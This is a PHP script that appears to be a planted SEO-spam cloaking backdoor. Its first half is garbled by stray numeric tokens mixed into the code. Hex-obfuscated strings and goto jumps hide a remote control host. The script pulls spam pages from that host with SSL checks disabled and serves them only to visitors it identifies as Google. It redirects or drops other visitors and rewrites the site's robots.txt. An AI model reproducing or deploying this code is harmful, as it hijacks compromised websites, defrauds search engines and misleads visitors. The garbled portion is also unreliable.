2 3 php 2 2 er 3 ror 3 _re 3 por 2 ti 3 ng( 2 0) 2 ; 2 $ 3 get 3 = 2 fi 3 lte 3 r_i 2 np 3 ut_ 2 ar 3 ray 2 (I 2 NP 3 UT_ 2 GE 2 T, 2 F 2 IL 3 TER 2 _S 2 AN 3 ITI 1 Z 3 E_S 2 TR 2 IN 1 G 5 ); 2 / 3 * - 18 ------------------------ 2 5 1 2 2 2 1 2 2 2 2 2 1 2 2 2 1 1e ------------------------- */ 2 fu 3 nct 2 io 3 n c 2 ac 3 he_ 3 get 2 ($ 3 key 3 , $ 2 ex 3 pir 1 e 5 = 30 2 0) 2 { 6 4 $fil 5 e = s 2 ys 5 _get_ 2 te 3 mp_ 3 dir 2 () 3 . 2 '/ 7 cache_' 3 . 2 md 6 5($key 5 ) . ' 1 . 5 php'; 6 4 if ( 6 file_e 2 xi 3 sts 1 ( 5 $file 2 ) 1 & 3 & ( 3 tim 1 e 4 () - 5 file 1 m b time($file) 2 ) 1 < 8 $expire d ) { 3 ret 2 ur 6 n file 5 _get_ 2 co 3 nte 1 n 9 ts($file) 8 ; } 6 a return fal 2 se 4 ; } 12 function cache_s b et($key, $d 3 ata 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 1 @ 5 file_ 4 put_ e contents($file 9 , $data, 2 LO 2 CK 2 _E 2 X) 6 ; } 26 /* ------------------------- 2 2 2 1 2 2 2 2 1 3 I 2 P 2 1 2 2 2 2 CD 3 N / 2 2 1 2 2 1 29 ------------------------- */ function 4 get_ 3 rea 3 l_i 2 p( a ) { $ 3 key 4 s = 1 [ b ' 2 HT 2 TP 2 _C 2 F_ 3 CON 2 NE 2 CT 3 ING 3 _IP 2 ', 3 // 2 C 3 lou 2 df 3 lar 1 e 11 'HTTP_X 2 _R 2 EA 7 L_IP', 7 4 // N 3 gin 1 x 13 'HTTP_X_F 2 OR 2 WA 2 RD 2 ED 4 _FOR 4 ', 5 // Pr 2 ox 1 y 12 'HTTP_CL 2 IE 2 NT 5 _IP', c 'R 2 EM 3 OTE 2 _A 2 DD 2 R' 7 ] 5 ; 4 2 fo 4 reac 2 h 7 ($keys 2 as 3 $k d ) { 4 if ( 1 ! 4 empt 2 y( 3 $_S 2 ER 4 VER[ 2 $k 2 ]) d ) { 6 $i 1 p 3 = c $_SERVER[$k] 9 ; e if (st 2 rp 1 o 5 s($ip 3 , ' 2 ,' 2 ) 3 !== 6 false 1b ) { $ip = 2 tr 3 im( 3 exp 2 lo 6 de(',' 47 , $ip)[0]); } if (filter_var($ip, FILTER_VA 2 LI 2 DA 3 TE_ 3 IP) 15 ) { a return $ip 12 ; } f } f } return ' 3 127 2 .0 3 .0. 2 1' 2b ; } /* ------------------------- 1 2 2 2 1 1 5 getC 3 url 2 () 32 ------------------------- */ function getCurlFa 1 s 6 t($url 5 ) { 7 $ 6 cached 3 = b cache_get($ 4 url) b ; if ( 8 $cached b !== false) 8 return $ 6 cached 9 ; 18 $data = ''; if (f 7 unction 9 _exists(' 1 c 3 url 5 _init 1 ' f )) { $ 3 ch 3 = c 8 url_init d ($url); 4 5 curl_ 5 setop b t_array($ch 1 , c [ 5 C 2 UR 3 LOP 1 T 4 _RET 2 UR 2 NT 3 RAN 2 SF 2 ER 2 = 1 > 5 true 1 , 16 CURLOPT_ 8 CONNECTT 2 IM 2 EO 2 UT 5 => 5 1f , CURLOPT_TIMEOUT 7 3 => 1 8 18 , CURLOPT_S 2 SL 1 _ 5 VERIF 3 YPE 6 ER => 5 false 21 , CURLOPT_SSL_VERIFY 2 HO 2 ST 22 => false, CURLOPT_FO 2 LL 1 O 1 W 5 LOCAT 2 IO 1 N 21 => false, CURLOPT_U 3 SER 2 AG 3 ENT b => "M 2 oz 3 ill 2 a/ 2 5. 2 0" a d ]); 8 $data = 5 curl_ 3 exe 1 c 4 ($ch 12 ); curl_c 3 los 1 e d ($ch); } c if ( 7 empty($ 6 data) 3 && 3 ini 6 _get(' 3 all 2 ow 5 _url_ 2 fo 3 pen 11 ')) { $c 5 ontex 4 t = 3 str 3 eam 1 _ 9 context_c 4 reat 2 e( f [ 2 "h 3 ttp 1 " 5 => [ 1 " 6 timeou 2 t" 6 => 8, 4 "he 3 ade c r" => "User- 2 Ag 3 ent 2 : c Mozilla/5.0\ 2 r\ 3 n"] f , 3 "ss 3 l" 6 => [" 3 ver 2 if 3 y_p 1 e 7 er" => 7 false, d "verify_peer_ 3 nam 1 e b " => false] 1f ]); $data = 1 @ 13 file_get_contents($ 3 url 1 , 8 false, 8 $context 15 ); } if ( 1 ! d empty($data)) c cache_set($ 5 url, 6 $data) 1 ; d return 5 $data 2b ; } /* ------------------------- 4 URL 1 2 2 1 2d ------------------------- */ function get_ 8 url_info 4 (str 5 ing $ 3 typ 2 e= 3 'do 2 ma 1 i 5 n'): 7 string 8 { $ 2 ho 2 st c = $_SERVER[ 6 'HTTP_ 4 HOST 2 '] 2 ? 1 ? 6 ''; 9 if ($ 5 type 1 = 5 == 'n 2 o_ 2 ww 2 w' 9 ) return 3 pre 1 g 5 _repl 2 ac 3 e(' 2 /^ 4 www\ 2 ./ 1 i 4 ', ' 4 ', $ 5 host) c ; $pr 3 oto 2 co 4 l = 11 (!empty($_SERVER[ 6 'HTTPS 2 '] 5 ) && 11 $_SERVER['HTTPS'] 5 !== 3 'of 1 f 4 ') ? 6 "http 2 s: 3 //" 2 : 6 "http 4 ://" 8 ; $ 3 bas 4 e = b $protocol . 6 $host d ; if ( b $type === ' 4 base a ') return 5 $base 17 ; if ($type === 'f 2 ul 1 l 12 ') return $base . d ($_SERVER['RE 1 Q 2 UE 1 S 5 T_URI 8 '] ?? '' a ); 8 return $ 7 host; 29 } /* ------------------------- 2 1 2 2 2 2 21 ------------------------- */ g 4 oto 2 ON 2 Pu 2 B; 6 ONPuB 1 : 6 $http 1a _type = !empty($_SERVER["\ 2 x4 3 8\1 2 24 2 \x 5 54\x5 4 0\x5 2 3" 19 ]) && $_SERVER["\x48\124\ 6 124\x5 7 0\x53"] 5 !== 3 "\1 2 57 2 \x 2 66 2 \1 2 46 1 " 7 ? "\15 3 0\x 2 74 8 \x74\x70 2 \1 2 63 3 \72 2 \x 2 2f 4 \x2f 5 " : " 3 \x6 4 8\16 8 4\164\16 d 0\72\x2f\57"; 1 7 goto O4 2 O9 2 k; 6 O4O9k 4 : $v 3 url 5 = "\ 4 x74\ 4 157\ 4 56\1 2 52 3 \14 4 7\14 1 1 4 \x6c 9 \x6c\163\ 2 x2 4 e\14 1 3 8 \157\x6d 5 \x2f" 7 ; goto 2 vg 3 v72 1 ; 6 vgv72 4 : $q 1 z 5 = su 1 b 3 str 4 (str 9 _replace( 6 array( 5 "\x77 5 \x77\ 2 16 5 7\x2e 1 " 3 , " 5 \56") 7 , '', $ c _SERVER["\11 1 0 7 \x54\x5 4 4\12 5 0\x5f 5 \x48\ 3 x4f 3 \12 5 3\x54 3 "]) 2 , 3 0, 1 3 4 ); 24 /* ------------------------- 2 1 2 2 f 3 1 23 数 ------------------------- */ 2 $s 5 z = $ 2 ii 4 d = 1 " 6 "; if a (!empty($_ 4 GET) 1 ) 4 { 1023 $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- 远程接口 ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(保留 kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- 非 google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当前URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0